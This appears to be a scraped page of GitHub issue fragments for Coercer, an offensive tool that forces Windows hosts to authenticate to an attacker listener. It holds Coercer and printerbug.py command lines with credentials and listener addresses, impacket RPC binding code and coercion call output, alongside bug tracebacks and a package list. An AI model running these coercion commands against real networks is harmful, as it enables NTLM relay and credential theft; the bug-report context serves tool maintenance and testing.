p0dalirius / coercer Goto Github PK

└─$ ./Coercer.py fuzz -u tmassie -p 'stronpassword' -d winattacklab.local -t 10.0.1.100
       ______
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v2.2-blackhat-edition
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

[info] Starting fuzz mode
[info] Fuzzing target 10.0.1.100
[!] Could not login as 'tmassie' with these credentials on '10.0.1.100'.
  | Error: int() argument must be a string, a bytes-like object or a real number, not 'Namespace'
[+] All done! Bye Bye!                                   

Advanced configuration:
  --delay DELAY         Delay between attempts (in seconds)
  --http-port HTTP_PORT
                        HTTP port (default: 80)
  --smb-port SMB_PORT   SMB port (default: 445)

nmblookup 10.0.0.10
echo 10.0.0.10 TARGET >> /etc/hosts
python printerbug.py -port 139 domain/user@TARGET attacker

stringBinding = r'ncacn_ip_tcp:%s[%d]' % (target,port)
rpctransport = transport.DCERPCTransportFactory(stringBinding)
portmap = rpctransport.get_dce_rpc()
portmap.set_credentials(USERNAME, PASSWORD, DOMAIN, "", "", None)
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
portmap.connect()
portmap.bind(UUID)

[+] SMB named pipe '\PIPE\netdfs' is accessible!
   [+] Successful bind to interface (4fc742e0-4a10-11cf-8273-00aa004ae673, 3.0)!
      [>] (-testing-) MS-DFSNM──>NetrDfsAddStdRoot(ServerName='\\192.168.1.27\ujbjOnpm\file.txt\x00') 
Traceback (most recent call last):
  File "/data/git_projects/Coercer/./Coercer.py", line 11, in <module>
    main()
  File "/data/git_projects/Coercer/coercer/__main__.py", line 189, in main
    action_coerce(target, available_methods, options, credentials, reporter)
  File "/data/git_projects/Coercer/coercer/core/modes/coerce.py", line 97, in action_coerce
    result = trigger_authentication(
  File "/data/git_projects/Coercer/coercer/network/authentications.py", line 74, in trigger_authentication
    result_trigger = method_trigger_function(dcerpc_session, target)
TypeError: NetrDfsAddStdRoot.trigger() takes 2 positional arguments but 3 were given```

[+] SMB named pipe '\PIPE\eventlog' is accessible!
   [+] Successful bind to interface (82273fdc-e32a-18c3-3f78-827929dc23ea, 0.0)!
      [!] (NO_AUTH_RECEIVED) MS-EVEN──>ElfrOpenBELW(BackupFileName='\??\UNC\192.168.1.101\r1Qr8iIe\aa')

/opt/Coercer/coercer/protocols(master) » grep -r uuid
MS_EFSR.py:    uuid = "c681d488-d850-11d0-8c52-00c04fd90f7e"
MS_FSRVP.py:    uuid = "a8e0653c-2744-4389-a61d-7373df8b2292"
MS_RPRN.py:    uuid = "12345678-1234-ABCD-EF00-0123456789AB"
MS_DFSNM.py:    uuid = "4fc742e0-4a10-11cf-8273-00aa004ae673"

            'efsr': {
                'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
                'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
            },

./coercer/network/DCERPCSession.py:36:52: F821 undefined name 'ncan_target'
            print("   [>] Connecting to %s ... " % ncan_target, end="")
                                                   ^
1     F821 undefined name 'ncan_target'

ModuleNotFoundError: No module named 'fcntl'

> pip list
Package            Version
------------------ -------
cffi               1.15.1
chardet            5.1.0
click              8.1.3
coercer            2.4
colorama           0.4.6
cryptography       39.0.0
dnspython          2.2.1
Flask              2.2.2
future             0.18.2
impacket           0.10.0
importlib-metadata 6.0.0
itsdangerous       2.1.2
Jinja2             3.1.2
ldap3              2.9.1
ldapdomaindump     0.9.4
MarkupSafe         2.1.1
pip                22.3.1
pyasn1             0.4.8
pycparser          2.21
pycryptodomex      3.16.0
pyOpenSSL          23.0.0
setuptools         65.6.3
six                1.16.0
Werkzeug           2.2.2
wheel              0.38.4
XlsxWriter         3.0.6
zipp               3.11.0

coercer coerce -t 192.168.1.11 --auth-type http -u Administrator -p 'Admin123!' -l 192.168.1.27 --always-continue --filter-pipe-name lsarpc --filter-transport-name msrpc

root@THOR:/home/podalirius# coercer coerce -t 192.168.1.11 --auth-type http -u Administrator -p 'Admin123!' -l 192.168.1.27 --always-continue --filter-pipe-name lsarpc --filter-transport-name msrpc
       ______
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v2.4.3
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

[info] Starting coerce mode
[info] Scanning target 192.168.1.11
Traceback (most recent call last):
  File "/usr/local/bin/coercer", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/coercer/__main__.py", line 201, in main
    action_coerce(target, available_methods, options, credentials, reporter)
  File "/usr/local/lib/python3.11/dist-packages/coercer/core/modes/coerce.py", line 65, in action_coerce
    for port in options.dce_ports or portmap.get("ncacn_ip_tcp",{}).get("%s v%s"%(uuid.upper(),version),[]):
                                     ^^^^^^^
UnboundLocalError: cannot access local variable 'portmap' where it is not associated with a value